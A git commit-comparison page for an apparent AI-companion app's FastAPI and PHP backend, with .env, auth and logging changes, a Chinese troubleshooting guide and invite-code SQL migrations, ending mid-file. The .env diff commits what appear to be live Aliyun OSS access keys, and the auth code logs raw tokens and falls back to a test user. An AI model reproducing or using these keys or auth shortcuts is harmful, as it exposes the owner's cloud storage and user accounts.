Compare commits
10 Commits
e2765ecf00
...
155c9f824c
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
155c9f824c | ||
|
|
ca35528640 | ||
|
|
1c4dea0a34 | ||
|
|
8613e1560b | ||
|
|
57053f08ab | ||
|
|
21c75461b4 | ||
|
|
d7ec1d530a | ||
|
|
57a846b2a1 | ||
|
|
1f3f3b9240 | ||
|
|
92386f4597 |
18
.env
18
.env
|
|
@ -7,11 +7,11 @@ DEBUG=True
|
|||
BACKEND_URL=http://127.0.0.1:8000
|
||||
|
||||
# ===== 数据库配置 =====
|
||||
DATABASE_URL=mysql+pymysql://root:root@127.0.0.1:3306/lover?charset=utf8mb4
|
||||
DATABASE_URL=mysql+pymysql://root:root@127.0.0.1:3306/fastadmin?charset=utf8mb4
|
||||
|
||||
# ===== 用户信息接口 (PHP后端) =====
|
||||
# 开发环境暂时使用本地地址,PHP后端配置好后再修改
|
||||
USER_INFO_API=http://127.0.0.1:8080/api/user_basic/get_user_basic
|
||||
# PHP 后端地址,用于用户认证
|
||||
USER_INFO_API=http://127.0.0.1:30100/api/user_basic/get_user_basic
|
||||
|
||||
# ===== AI 配置 =====
|
||||
# 阿里云 DashScope API 密钥
|
||||
|
|
@ -58,9 +58,9 @@ VOICE_CALL_REQUIRE_PTT=true
|
|||
# === 唱歌视频合成配置 ===
|
||||
SING_MERGE_MAX_CONCURRENCY=2
|
||||
|
||||
# ===== OSS 配置 (暂时留空) =====
|
||||
ALIYUN_OSS_ACCESS_KEY_ID=
|
||||
ALIYUN_OSS_ACCESS_KEY_SECRET=
|
||||
ALIYUN_OSS_BUCKET_NAME=
|
||||
ALIYUN_OSS_ENDPOINT=
|
||||
ALIYUN_OSS_CDN_DOMAIN=
|
||||
# ===== OSS 配置 =====
|
||||
ALIYUN_OSS_ACCESS_KEY_ID=LTAI5tBzjogJDx4JzRYoDyEM
|
||||
ALIYUN_OSS_ACCESS_KEY_SECRET=43euicRkkzlLjGTYzFYkTupcW7N5w3
|
||||
ALIYUN_OSS_BUCKET_NAME=hello12312312
|
||||
ALIYUN_OSS_ENDPOINT=https://oss-cn-hangzhou.aliyuncs.com
|
||||
ALIYUN_OSS_CDN_DOMAIN=https://hello12312312.oss-cn-hangzhou.aliyuncs.com
|
||||
|
|
|
|||
58
.gitignore
vendored
58
.gitignore
vendored
|
|
@ -1 +1,59 @@
|
|||
归档/
|
||||
xunifriend_RaeeC/runtime/log/
|
||||
public/
|
||||
|
||||
# Python
|
||||
__pycache__/
|
||||
*.py[cod]
|
||||
*$py.class
|
||||
*.so
|
||||
.Python
|
||||
build/
|
||||
develop-eggs/
|
||||
dist/
|
||||
downloads/
|
||||
eggs/
|
||||
.eggs/
|
||||
lib/
|
||||
lib64/
|
||||
parts/
|
||||
sdist/
|
||||
var/
|
||||
wheels/
|
||||
*.egg-info/
|
||||
.installed.cfg
|
||||
*.egg
|
||||
|
||||
# Node.js
|
||||
node_modules/
|
||||
npm-debug.log*
|
||||
yarn-debug.log*
|
||||
yarn-error.log*
|
||||
package-lock.json
|
||||
|
||||
# IDE
|
||||
.vscode/
|
||||
.idea/
|
||||
*.swp
|
||||
*.swo
|
||||
*~
|
||||
|
||||
# OS
|
||||
.DS_Store
|
||||
Thumbs.db
|
||||
|
||||
# Runtime
|
||||
xunifriend_RaeeC/runtime/
|
||||
xunifriend_RaeeC/public/uploads/
|
||||
|
||||
# Temporary files
|
||||
*.tmp
|
||||
*.bak
|
||||
*.zip
|
||||
*.tar
|
||||
*.tar.gz
|
||||
*.tar.xz
|
||||
|
||||
# Environment
|
||||
.env.local
|
||||
.env.*.local
|
||||
199
PHP服务连接问题解决方案.md
Normal file
199
PHP服务连接问题解决方案.md
Normal file
|
|
@ -0,0 +1,199 @@
|
|||
# PHP 服务连接问题解决方案
|
||||
|
||||
## 问题描述
|
||||
Python 后端无法连接到 PHP 服务,报错:
|
||||
```
|
||||
HTTPConnectionPool(host='192.168.1.164', port=30100): Read timed out
|
||||
```
|
||||
|
||||
## 已完成的修复
|
||||
|
||||
### 1. 配置修正
|
||||
- ✅ 修改 `lover/deps.py`:移除硬编码 IP,从配置读取
|
||||
- ✅ 修改 `lover/config.py`:默认地址改为 `127.0.0.1:30100`
|
||||
- ✅ 修改 `.env`:端口从 `8080` 改为 `30100`
|
||||
- ✅ 减少超时时间:从 5 秒改为 3 秒
|
||||
- ✅ 改进错误处理:区分超时和连接错误
|
||||
|
||||
### 2. 启动脚本优化
|
||||
- ✅ 使用 `router.php` 而不是 `-t .`
|
||||
- ✅ 添加端口清理逻辑,自动终止占用端口的旧进程
|
||||
- ✅ 添加等待时间,确保服务完全启动
|
||||
|
||||
### 3. 测试工具
|
||||
创建了 `xunifriend_RaeeC/public/test_api.php` 用于测试:
|
||||
- `/test_api.php` - 测试 PHP 服务器基本响应
|
||||
- `/test_db` - 测试数据库连接
|
||||
|
||||
## 当前问题分析
|
||||
|
||||
### PHP 服务器状态
|
||||
```
|
||||
端口 30100 已被监听(进程 31592, 16636)
|
||||
但是请求超时,无法获得响应
|
||||
```
|
||||
|
||||
### 可能的原因
|
||||
|
||||
1. **数据库连接问题**
|
||||
- PHP 应用可能在启动时尝试连接数据库
|
||||
- 如果数据库连接失败或慢,会导致请求超时
|
||||
- 检查 `xunifriend_RaeeC/application/database.php` 配置
|
||||
|
||||
2. **PHP 内置服务器限制**
|
||||
- PHP 内置服务器是单线程的
|
||||
- 如果有请求阻塞,后续请求会超时
|
||||
- 建议使用 Apache 或 Nginx + PHP-FPM
|
||||
|
||||
3. **应用初始化问题**
|
||||
- ThinkPHP 框架初始化可能有问题
|
||||
- 检查 `xunifriend_RaeeC/application/admin/command/Install/install.lock` 是否存在
|
||||
|
||||
4. **路由配置问题**
|
||||
- API 路由可能未正确配置
|
||||
- 检查 `xunifriend_RaeeC/application/route.php`
|
||||
|
||||
## 解决步骤
|
||||
|
||||
### 步骤 1: 测试 PHP 服务器基本功能
|
||||
```cmd
|
||||
# 在浏览器或命令行测试
|
||||
curl http://127.0.0.1:30100/test_api.php
|
||||
```
|
||||
|
||||
预期响应:
|
||||
```json
|
||||
{
|
||||
"code": 1,
|
||||
"msg": "PHP 服务器运行正常",
|
||||
"time": 1738665600,
|
||||
"data": {
|
||||
"php_version": "8.0.0",
|
||||
"server_time": "2026-02-04 19:00:00"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 步骤 2: 测试数据库连接
|
||||
```cmd
|
||||
curl http://127.0.0.1:30100/test_db
|
||||
```
|
||||
|
||||
如果数据库连接失败,检查:
|
||||
- MySQL 是否运行
|
||||
- `xunifriend_RaeeC/application/database.php` 配置是否正确
|
||||
- 数据库用户名密码是否正确
|
||||
|
||||
### 步骤 3: 测试实际 API
|
||||
```cmd
|
||||
# 使用有效的 token 测试
|
||||
curl -H "token: YOUR_TOKEN_HERE" http://127.0.0.1:30100/api/user_basic/get_user_basic
|
||||
```
|
||||
|
||||
### 步骤 4: 检查 PHP 错误日志
|
||||
PHP 内置服务器的错误会显示在启动窗口中,查看是否有:
|
||||
- 数据库连接错误
|
||||
- 文件权限错误
|
||||
- PHP 语法错误
|
||||
- 缺少扩展
|
||||
|
||||
## 临时解决方案
|
||||
|
||||
### 方案 1: 使用开发环境兜底(已实现)
|
||||
Python 后端在开发环境下,如果 PHP 连接失败,会自动使用测试用户:
|
||||
```python
|
||||
# 在 lover/deps.py 中
|
||||
if settings.APP_ENV == "development" and settings.DEBUG:
|
||||
logger.warning(f"开发环境:token 验证失败({e.detail}),使用测试用户")
|
||||
return AuthedUser(id=70, reg_step=2, gender=0, nickname="test-user", token="")
|
||||
```
|
||||
|
||||
### 方案 2: 直接使用数据库认证
|
||||
修改 Python 后端,不依赖 PHP API,直接查询数据库:
|
||||
```python
|
||||
# 在 lover/deps.py 中添加
|
||||
def _fetch_user_from_db(token: str) -> Optional[dict]:
|
||||
"""直接从数据库获取用户信息"""
|
||||
from lover.db import get_db
|
||||
db = next(get_db())
|
||||
user = db.execute(
|
||||
"SELECT * FROM fa_user WHERE token = :token",
|
||||
{"token": token}
|
||||
).fetchone()
|
||||
return dict(user) if user else None
|
||||
```
|
||||
|
||||
### 方案 3: 重启 PHP 服务
|
||||
```cmd
|
||||
# 使用更新后的启动脚本,会自动清理旧进程
|
||||
启动项目.bat
|
||||
```
|
||||
|
||||
## 长期解决方案
|
||||
|
||||
### 推荐:使用 Nginx + PHP-FPM
|
||||
PHP 内置服务器不适合生产环境,建议:
|
||||
|
||||
1. 安装 Nginx
|
||||
2. 配置 PHP-FPM
|
||||
3. 配置 Nginx 反向代理
|
||||
|
||||
配置示例:
|
||||
```nginx
|
||||
server {
|
||||
listen 30100;
|
||||
server_name localhost;
|
||||
root C:/Users/Administrator/Desktop/Project/AI_GirlFriend/xunifriend_RaeeC/public;
|
||||
index index.php index.html;
|
||||
|
||||
location / {
|
||||
try_files $uri $uri/ /index.php?$query_string;
|
||||
}
|
||||
|
||||
location ~ \.php$ {
|
||||
fastcgi_pass 127.0.0.1:9000;
|
||||
fastcgi_index index.php;
|
||||
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
|
||||
include fastcgi_params;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## 调试命令
|
||||
|
||||
### 查看端口占用
|
||||
```cmd
|
||||
netstat -ano | findstr :30100
|
||||
```
|
||||
|
||||
### 终止进程
|
||||
```cmd
|
||||
taskkill /F /PID <进程ID>
|
||||
```
|
||||
|
||||
### 测试 PHP 配置
|
||||
```cmd
|
||||
D:\2_part\php-8.0.0-Win32-vs16-x64\php.exe -v
|
||||
D:\2_part\php-8.0.0-Win32-vs16-x64\php.exe -m # 查看已安装的扩展
|
||||
```
|
||||
|
||||
### 手动启动 PHP 服务器(用于调试)
|
||||
```cmd
|
||||
cd xunifriend_RaeeC\public
|
||||
D:\2_part\php-8.0.0-Win32-vs16-x64\php.exe -S 0.0.0.0:30100 router.php
|
||||
```
|
||||
|
||||
## 下一步行动
|
||||
|
||||
1. **立即测试**:运行 `curl http://127.0.0.1:30100/test_api.php`
|
||||
2. **检查数据库**:确认 MySQL 正在运行
|
||||
3. **查看日志**:检查 PHP 启动窗口的错误信息
|
||||
4. **重启服务**:使用更新后的 `启动项目.bat`
|
||||
|
||||
## 文件修改记录
|
||||
|
||||
- `lover/deps.py` - 改进错误处理和超时设置
|
||||
- `lover/config.py` - 修正默认地址
|
||||
- `.env` - 修正端口配置
|
||||
- `启动项目.bat` - 添加端口清理和 router.php
|
||||
- `xunifriend_RaeeC/public/test_api.php` - 新增测试脚本
|
||||
|
|
@ -1,2 +1,2 @@
|
|||
DATABASE_URL=mysql+pymysql://root:root@127.0.0.1:3306/lover?charset=utf8mb4
|
||||
USER_INFO_API=http://127.0.0.1:8080/api/user_basic/get_user_basic
|
||||
USER_INFO_API=http://192.168.1.164:30100/api/user_basic/get_user_basic
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
|
@ -150,7 +150,7 @@ class Settings(BaseSettings):
|
|||
|
||||
# 用户信息拉取接口(FastAdmin 提供)
|
||||
USER_INFO_API: str = Field(
|
||||
default="https://xunifriend.shandonghuixing.com/api/user_basic/get_user_basic",
|
||||
default="http://127.0.0.1:30100/api/user_basic/get_user_basic",
|
||||
env="USER_INFO_API",
|
||||
)
|
||||
|
||||
|
|
|
|||
10
lover/db.py
10
lover/db.py
|
|
@ -31,12 +31,18 @@ def get_db():
|
|||
yield db
|
||||
db.commit()
|
||||
except OperationalError as exc:
|
||||
import logging
|
||||
logger = logging.getLogger("db")
|
||||
logger.error(f"Database OperationalError: {exc}", exc_info=True)
|
||||
db.rollback()
|
||||
raise HTTPException(
|
||||
status_code=status.HTTP_503_SERVICE_UNAVAILABLE,
|
||||
detail="Database unavailable, please check DATABASE_URL / MySQL service.",
|
||||
detail=f"Database unavailable: {str(exc)}",
|
||||
) from exc
|
||||
except Exception:
|
||||
except Exception as exc:
|
||||
import logging
|
||||
logger = logging.getLogger("db")
|
||||
logger.error(f"Database Exception: {exc}", exc_info=True)
|
||||
db.rollback()
|
||||
raise
|
||||
finally:
|
||||
|
|
|
|||
|
|
@ -17,30 +17,62 @@ class AuthedUser(BaseModel):
|
|||
|
||||
def _fetch_user_from_php(token: str) -> Optional[dict]:
|
||||
"""通过 PHP/FastAdmin 接口获取用户信息。"""
|
||||
import logging
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# 从配置读取 PHP 服务地址,如果配置不可用则使用本地地址
|
||||
try:
|
||||
from lover.config import settings
|
||||
user_info_api = settings.USER_INFO_API
|
||||
except:
|
||||
# 默认使用本地地址
|
||||
user_info_api = "http://127.0.0.1:30100/api/user_basic/get_user_basic"
|
||||
|
||||
logger.info(f"用户中心调试 - 调用接口: {user_info_api}")
|
||||
logger.info(f"用户中心调试 - token: {token}")
|
||||
|
||||
try:
|
||||
resp = requests.get(
|
||||
settings.USER_INFO_API,
|
||||
user_info_api,
|
||||
headers={"token": token},
|
||||
timeout=5,
|
||||
timeout=3, # 减少超时时间到3秒
|
||||
)
|
||||
except Exception as exc: # 网络/超时
|
||||
logger.info(f"用户中心调试 - 响应状态码: {resp.status_code}")
|
||||
logger.info(f"用户中心调试 - 响应内容: {resp.text[:200]}...")
|
||||
except requests.exceptions.Timeout:
|
||||
logger.error(f"用户中心调试 - 请求超时(3秒)")
|
||||
raise HTTPException(
|
||||
status_code=status.HTTP_502_BAD_GATEWAY,
|
||||
detail="用户中心接口超时",
|
||||
)
|
||||
except requests.exceptions.ConnectionError as exc:
|
||||
logger.error(f"用户中心调试 - 连接失败: {exc}")
|
||||
raise HTTPException(
|
||||
status_code=status.HTTP_502_BAD_GATEWAY,
|
||||
detail="无法连接到用户中心",
|
||||
)
|
||||
except Exception as exc: # 其他异常
|
||||
logger.error(f"用户中心调试 - 请求异常: {exc}")
|
||||
raise HTTPException(
|
||||
status_code=status.HTTP_502_BAD_GATEWAY,
|
||||
detail="用户中心接口不可用",
|
||||
) from exc
|
||||
|
||||
if resp.status_code != 200:
|
||||
logger.error(f"用户中心调试 - 状态码非200: {resp.status_code}")
|
||||
raise HTTPException(
|
||||
status_code=status.HTTP_401_UNAUTHORIZED,
|
||||
detail="用户中心返回非 200",
|
||||
)
|
||||
data = resp.json()
|
||||
logger.info(f"用户中心调试 - 解析JSON成功: {data}")
|
||||
# 兼容常见 FastAdmin 响应结构
|
||||
if isinstance(data, dict):
|
||||
payload = data.get("data") or data.get("user") or data
|
||||
else:
|
||||
payload = None
|
||||
if not payload:
|
||||
logger.error(f"用户中心调试 - 未找到用户数据: {data}")
|
||||
raise HTTPException(
|
||||
status_code=status.HTTP_401_UNAUTHORIZED,
|
||||
detail="用户中心未返回用户信息",
|
||||
|
|
@ -110,7 +142,7 @@ def get_current_user(
|
|||
# 如果是开发环境,token 验证失败时也返回测试用户
|
||||
if settings.APP_ENV == "development" and settings.DEBUG:
|
||||
logger.warning(f"开发环境:token 验证失败({e.detail}),使用测试用户")
|
||||
return AuthedUser(id=84, reg_step=2, gender=0, nickname="test-user", token="")
|
||||
return AuthedUser(id=70, reg_step=2, gender=0, nickname="test-user", token="")
|
||||
raise
|
||||
|
||||
# 调试兜底:仅凭 X-User-Id 不校验 PHP,方便联调
|
||||
|
|
@ -119,6 +151,6 @@ def get_current_user(
|
|||
|
||||
# 开发环境兜底:如果没有任何认证信息,返回默认测试用户
|
||||
if settings.APP_ENV == "development" and settings.DEBUG:
|
||||
return AuthedUser(id=84, reg_step=2, gender=0, nickname="test-user", token="")
|
||||
return AuthedUser(id=70, reg_step=2, gender=0, nickname="test-user", token="")
|
||||
|
||||
raise HTTPException(status_code=status.HTTP_401_UNAUTHORIZED, detail="用户不存在或未授权")
|
||||
|
|
|
|||
|
|
@ -5,24 +5,48 @@ from fastapi.staticfiles import StaticFiles
|
|||
import logging
|
||||
import dashscope
|
||||
from pathlib import Path
|
||||
from contextlib import asynccontextmanager
|
||||
|
||||
from .routers import config as config_router
|
||||
from .routers import lover as lover_router
|
||||
from .response import ApiResponse
|
||||
from .routers import outfit as outfit_router
|
||||
from .routers import chat as chat_router
|
||||
from .routers import voice_call as voice_call_router
|
||||
from .routers import dance as dance_router
|
||||
from .routers import dynamic as dynamic_router
|
||||
from .routers import sing as sing_router
|
||||
from .task_queue import start_sing_workers
|
||||
from .config import settings
|
||||
from lover.routers import config as config_router
|
||||
from lover.routers import lover as lover_router
|
||||
from lover.routers import user_basic as user_basic_router
|
||||
from lover.response import ApiResponse
|
||||
from lover.routers import outfit as outfit_router
|
||||
from lover.routers import chat as chat_router
|
||||
from lover.routers import voice_call as voice_call_router
|
||||
from lover.routers import dance as dance_router
|
||||
from lover.routers import dynamic as dynamic_router
|
||||
from lover.routers import sing as sing_router
|
||||
from lover.routers import friend as friend_router
|
||||
from lover.routers import msg as msg_router
|
||||
from lover.routers import huanxin as huanxin_router
|
||||
from lover.routers import user as user_router
|
||||
from lover.routers import music_library as music_library_router
|
||||
from lover.task_queue import start_sing_workers
|
||||
from lover.config import settings
|
||||
|
||||
# 初始化 DashScope API Key
|
||||
if settings.DASHSCOPE_API_KEY:
|
||||
dashscope.api_key = settings.DASHSCOPE_API_KEY
|
||||
|
||||
app = FastAPI(title="LOVER API")
|
||||
# 配置日志
|
||||
logging.basicConfig(
|
||||
level=logging.INFO,
|
||||
format='%(asctime)s - %(name)s - %(levelname)s - %(message)s'
|
||||
)
|
||||
|
||||
@asynccontextmanager
|
||||
async def lifespan(app: FastAPI):
|
||||
# 启动时执行
|
||||
logger = logging.getLogger("main")
|
||||
logger.info("应用启动中...")
|
||||
start_sing_workers()
|
||||
logger.info("应用启动完成")
|
||||
yield
|
||||
# 关闭时执行
|
||||
logger.info("应用关闭")
|
||||
|
||||
app = FastAPI(title="LOVER API", lifespan=lifespan)
|
||||
|
||||
# 创建 TTS 文件目录
|
||||
tts_dir = Path("public/tts")
|
||||
|
|
@ -48,17 +72,18 @@ app.add_middleware(
|
|||
|
||||
app.include_router(config_router.router)
|
||||
app.include_router(lover_router.router)
|
||||
app.include_router(user_basic_router.router)
|
||||
app.include_router(outfit_router.router)
|
||||
app.include_router(chat_router.router)
|
||||
app.include_router(voice_call_router.router)
|
||||
app.include_router(dance_router.router)
|
||||
app.include_router(dynamic_router.router)
|
||||
app.include_router(sing_router.router)
|
||||
|
||||
|
||||
@app.on_event("startup")
|
||||
async def startup_tasks():
|
||||
start_sing_workers()
|
||||
app.include_router(friend_router.router)
|
||||
app.include_router(msg_router.router)
|
||||
app.include_router(huanxin_router.router)
|
||||
app.include_router(user_router.router)
|
||||
app.include_router(music_library_router.router)
|
||||
|
||||
|
||||
@app.exception_handler(HTTPException)
|
||||
|
|
|
|||
|
|
@ -1,18 +0,0 @@
|
|||
-- 添加邀请码相关字段
|
||||
ALTER TABLE nf_user
|
||||
ADD COLUMN invite_code VARCHAR(10) UNIQUE COMMENT '我的邀请码',
|
||||
ADD COLUMN invited_by VARCHAR(10) COMMENT '被谁邀请(邀请码)',
|
||||
ADD COLUMN invite_count INT DEFAULT 0 COMMENT '邀请人数',
|
||||
ADD COLUMN invite_reward_total DECIMAL(10,2) DEFAULT 0.00 COMMENT '邀请奖励总额';
|
||||
|
||||
-- 为已有用户生成邀请码(6位随机字符)
|
||||
UPDATE nf_user
|
||||
SET invite_code = CONCAT(
|
||||
SUBSTRING('ABCDEFGHJKLMNPQRSTUVWXYZ23456789', FLOOR(1 + RAND() * 32), 1),
|
||||
SUBSTRING('ABCDEFGHJKLMNPQRSTUVWXYZ23456789', FLOOR(1 + RAND() * 32), 1),
|
||||
SUBSTRING('ABCDEFGHJKLMNPQRSTUVWXYZ23456789', FLOOR(1 + RAND() * 32), 1),
|
||||
SUBSTRING('ABCDEFGHJKLMNPQRSTUVWXYZ23456789', FLOOR(1 + RAND() * 32), 1),
|
||||
SUBSTRING('ABCDEFGHJKLMNPQRSTUVWXYZ23456789', FLOOR(1 + RAND() * 32), 1),
|
||||
SUBSTRING('ABCDEFGHJKLMNPQRSTUVWXYZ23456789', FLOOR(1 + RAND() * 32), 1)
|
||||
)
|
||||
WHERE invite_code IS NULL;
|
||||
33
lover/migrations/add_invite_fields.sql
Normal file
33
lover/migrations/add_invite_fields.sql
Normal file
|
|
@ -0,0 +1,33 @@
|
|||
-- 添加邀请码相关字段到 nf_user 表
|
||||
-- 执行时间:2026-02-03
|
||||
|
||||
USE fastadmin;
|
||||
|
||||
-- 添加邀请码字段
|
||||
ALTER TABLE `nf_user`
|
||||
ADD COLUMN `invite_code` VARCHAR(10) DEFAULT NULL COMMENT '邀请码' AFTER `vip_endtime`,
|
||||
ADD COLUMN `invited_by` VARCHAR(10) DEFAULT NULL COMMENT '被谁邀请(邀请码)' AFTER `invite_code`,
|
||||
ADD COLUMN `invite_count` INT(11) DEFAULT 0 COMMENT '邀请人数' AFTER `invited_by`,
|
||||
ADD COLUMN `invite_reward_total` DECIMAL(10,2) DEFAULT 0.00 COMMENT '邀请奖励总额' AFTER `invite_count`;
|
||||
|
||||
-- 添加唯一索引
|
||||
ALTER TABLE `nf_user`
|
||||
ADD UNIQUE INDEX `idx_invite_code` (`invite_code`);
|
||||
|
||||
-- 添加普通索引
|
||||
ALTER TABLE `nf_user`
|
||||
ADD INDEX `idx_invited_by` (`invited_by`);
|
||||
|
||||
-- 验证字段是否添加成功
|
||||
SELECT
|
||||
COLUMN_NAME,
|
||||
COLUMN_TYPE,
|
||||
IS_NULLABLE,
|
||||
COLUMN_DEFAULT,
|
||||
COLUMN_COMMENT
|
||||
FROM
|
||||
INFORMATION_SCHEMA.COLUMNS
|
||||
WHERE
|
||||
TABLE_SCHEMA = 'fastadmin'
|
||||
AND TABLE_NAME = 'nf_user'
|
||||
AND COLUMN_NAME IN ('invite_code', 'invited_by', 'invite_count', 'invite_reward_total');
|
||||
|
|
@ -1,8 +0,0 @@
|
|||
-- 添加消息编辑相关字段
|
||||
ALTER TABLE nf_chat_message
|
||||
ADD COLUMN is_edited TINYINT(1) DEFAULT 0 COMMENT '是否被编辑过',
|
||||
ADD COLUMN original_content TEXT COMMENT '原始内容',
|
||||
ADD COLUMN edited_at DATETIME COMMENT '编辑时间';
|
||||
|
||||
-- 添加索引
|
||||
CREATE INDEX idx_message_edited ON nf_chat_message(is_edited, session_id);
|
||||
20
lover/migrations/check_invite_fields.sql
Normal file
20
lover/migrations/check_invite_fields.sql
Normal file
|
|
@ -0,0 +1,20 @@
|
|||
-- 检查 nf_user 表中邀请码相关字段的情况
|
||||
USE fastadmin;
|
||||
|
||||
-- 查看表结构
|
||||
DESCRIBE nf_user;
|
||||
|
||||
-- 查看邀请码相关字段
|
||||
SELECT
|
||||
COLUMN_NAME,
|
||||
COLUMN_TYPE,
|
||||
IS_NULLABLE,
|
||||
COLUMN_DEFAULT,
|
||||
COLUMN_COMMENT
|
||||
FROM
|
||||
INFORMATION_SCHEMA.COLUMNS
|
||||
WHERE
|
||||
TABLE_SCHEMA = 'fastadmin'
|
||||
AND TABLE_NAME = 'nf_user'
|
||||
AND COLUMN_NAME IN ('invite_code', 'invited_by', 'invite_count', 'invite_reward_total')
|
||||
ORDER BY ORDINAL_POSITION;
|
||||
107
lover/migrations/fix_invite_complete.sql
Normal file
107
lover/migrations/fix_invite_complete.sql
Normal file
|
|
@ -0,0 +1,107 @@
|
|||
-- 邀请码功能完整修复脚本
|
||||
-- 执行时间:2026-02-03
|
||||
-- 说明:这个脚本会检查并修复所有邀请码相关的问题
|
||||
|
||||
USE fastadmin;
|
||||
|
||||
-- ========================================
|
||||
-- 第 1 步:修复字段类型
|
||||
-- ========================================
|
||||
|
||||
-- 修复 invited_by 字段类型(从 int 改为 varchar(10))
|
||||
ALTER TABLE `nf_user`
|
||||
MODIFY COLUMN `invited_by` VARCHAR(10) DEFAULT NULL COMMENT '被谁邀请(邀请码)';
|
||||
|
||||
-- 修复 invite_reward_total 字段类型(从 int 改为 decimal(10,2))
|
||||
ALTER TABLE `nf_user`
|
||||
MODIFY COLUMN `invite_reward_total` DECIMAL(10,2) DEFAULT 0.00 COMMENT '邀请奖励总额';
|
||||
|
||||
-- 确保 invite_code 字段正确
|
||||
ALTER TABLE `nf_user`
|
||||
MODIFY COLUMN `invite_code` VARCHAR(10) DEFAULT NULL COMMENT '邀请码';
|
||||
|
||||
-- 确保 invite_count 字段正确
|
||||
ALTER TABLE `nf_user`
|
||||
MODIFY COLUMN `invite_count` INT(11) DEFAULT 0 COMMENT '邀请人数';
|
||||
|
||||
SELECT '✅ 步骤 1:字段类型修复完成' AS '进度';
|
||||
|
||||
-- ========================================
|
||||
-- 第 2 步:检查并添加索引
|
||||
-- ========================================
|
||||
|
||||
-- 检查 invite_code 唯一索引
|
||||
SET @index_exists = 0;
|
||||
SELECT COUNT(*) INTO @index_exists
|
||||
FROM INFORMATION_SCHEMA.STATISTICS
|
||||
WHERE TABLE_SCHEMA = 'fastadmin'
|
||||
AND TABLE_NAME = 'nf_user'
|
||||
AND INDEX_NAME = 'idx_invite_code';
|
||||
|
||||
SET @sql = IF(@index_exists = 0,
|
||||
'ALTER TABLE `nf_user` ADD UNIQUE INDEX `idx_invite_code` (`invite_code`)',
|
||||
'SELECT ''idx_invite_code 索引已存在'' AS message');
|
||||
PREPARE stmt FROM @sql;
|
||||
EXECUTE stmt;
|
||||
DEALLOCATE PREPARE stmt;
|
||||
|
||||
-- 检查 invited_by 索引
|
||||
SET @index_exists = 0;
|
||||
SELECT COUNT(*) INTO @index_exists
|
||||
FROM INFORMATION_SCHEMA.STATISTICS
|
||||
WHERE TABLE_SCHEMA = 'fastadmin'
|
||||
AND TABLE_NAME = 'nf_user'
|
||||
AND INDEX_NAME = 'idx_invited_by';
|
||||
|
||||
SET @sql = IF(@index_exists = 0,
|
||||
'ALTER TABLE `nf_user` ADD INDEX `idx_invited_by` (`invited_by`)',
|
||||
'SELECT ''idx_invited_by 索引已存在'' AS message');
|
||||
PREPARE stmt FROM @sql;
|
||||
EXECUTE stmt;
|
||||
DEALLOCATE PREPARE stmt;
|
||||
|
||||
SELECT '✅ 步骤 2:索引检查完成' AS '进度';
|
||||
|
||||
-- ========================================
|
||||
-- 第 3 步:验证修复结果
|
||||
-- ========================================
|
||||
|
||||
SELECT '========================================' AS '';
|
||||
SELECT '邀请码字段信息' AS '';
|
||||
SELECT '========================================' AS '';
|
||||
|
||||
SELECT
|
||||
COLUMN_NAME AS '字段名',
|
||||
COLUMN_TYPE AS '类型',
|
||||
IS_NULLABLE AS '可空',
|
||||
COLUMN_DEFAULT AS '默认值',
|
||||
COLUMN_COMMENT AS '注释'
|
||||
FROM
|
||||
INFORMATION_SCHEMA.COLUMNS
|
||||
WHERE
|
||||
TABLE_SCHEMA = 'fastadmin'
|
||||
AND TABLE_NAME = 'nf_user'
|
||||
AND COLUMN_NAME IN ('invite_code', 'invited_by', 'invite_count', 'invite_reward_total')
|
||||
ORDER BY ORDINAL_POSITION;
|
||||
|
||||
SELECT '========================================' AS '';
|
||||
SELECT '索引信息' AS '';
|
||||
SELECT '========================================' AS '';
|
||||
|
||||
SELECT
|
||||
INDEX_NAME AS '索引名',
|
||||
COLUMN_NAME AS '列名',
|
||||
NON_UNIQUE AS '非唯一',
|
||||
INDEX_TYPE AS '索引类型'
|
||||
FROM
|
||||
INFORMATION_SCHEMA.STATISTICS
|
||||
WHERE
|
||||
TABLE_SCHEMA = 'fastadmin'
|
||||
AND TABLE_NAME = 'nf_user'
|
||||
AND INDEX_NAME IN ('idx_invite_code', 'idx_invited_by')
|
||||
ORDER BY INDEX_NAME, SEQ_IN_INDEX;
|
||||
|
||||
SELECT '========================================' AS '';
|
||||
SELECT '✅ 邀请码功能修复完成!' AS '状态';
|
||||
SELECT '请重启 Python 服务以使更改生效' AS '提示';
|
||||
SELECT '========================================' AS '';
|
||||
56
lover/migrations/fix_invite_field_types.sql
Normal file
56
lover/migrations/fix_invite_field_types.sql
Normal file
|
|
@ -0,0 +1,56 @@
|
|||
-- 修复邀请码字段类型错误
|
||||
-- 执行时间:2026-02-03
|
||||
-- 问题:invited_by 和 invite_reward_total 字段类型不正确
|
||||
|
||||
USE fastadmin;
|
||||
|
||||
-- 备份当前数据(可选,但建议)
|
||||
-- CREATE TABLE nf_user_backup_20260203 AS SELECT * FROM nf_user;
|
||||
|
||||
-- 修复 invited_by 字段类型(从 int 改为 varchar(10))
|
||||
ALTER TABLE `nf_user`
|
||||
MODIFY COLUMN `invited_by` VARCHAR(10) DEFAULT NULL COMMENT '被谁邀请(邀请码)';
|
||||
|
||||
-- 修复 invite_reward_total 字段类型(从 int 改为 decimal(10,2))
|
||||
ALTER TABLE `nf_user`
|
||||
MODIFY COLUMN `invite_reward_total` DECIMAL(10,2) DEFAULT 0.00 COMMENT '邀请奖励总额';
|
||||
|
||||
-- 确保 invite_code 字段有注释
|
||||
ALTER TABLE `nf_user`
|
||||
MODIFY COLUMN `invite_code` VARCHAR(10) DEFAULT NULL COMMENT '邀请码';
|
||||
|
||||
-- 确保 invite_count 字段有注释
|
||||
ALTER TABLE `nf_user`
|
||||
MODIFY COLUMN `invite_count` INT(11) DEFAULT 0 COMMENT '邀请人数';
|
||||
|
||||
-- 验证修复结果
|
||||
SELECT
|
||||
COLUMN_NAME AS '字段名',
|
||||
COLUMN_TYPE AS '类型',
|
||||
IS_NULLABLE AS '可空',
|
||||
COLUMN_DEFAULT AS '默认值',
|
||||
COLUMN_COMMENT AS '注释'
|
||||
FROM
|
||||
INFORMATION_SCHEMA.COLUMNS
|
||||
WHERE
|
||||
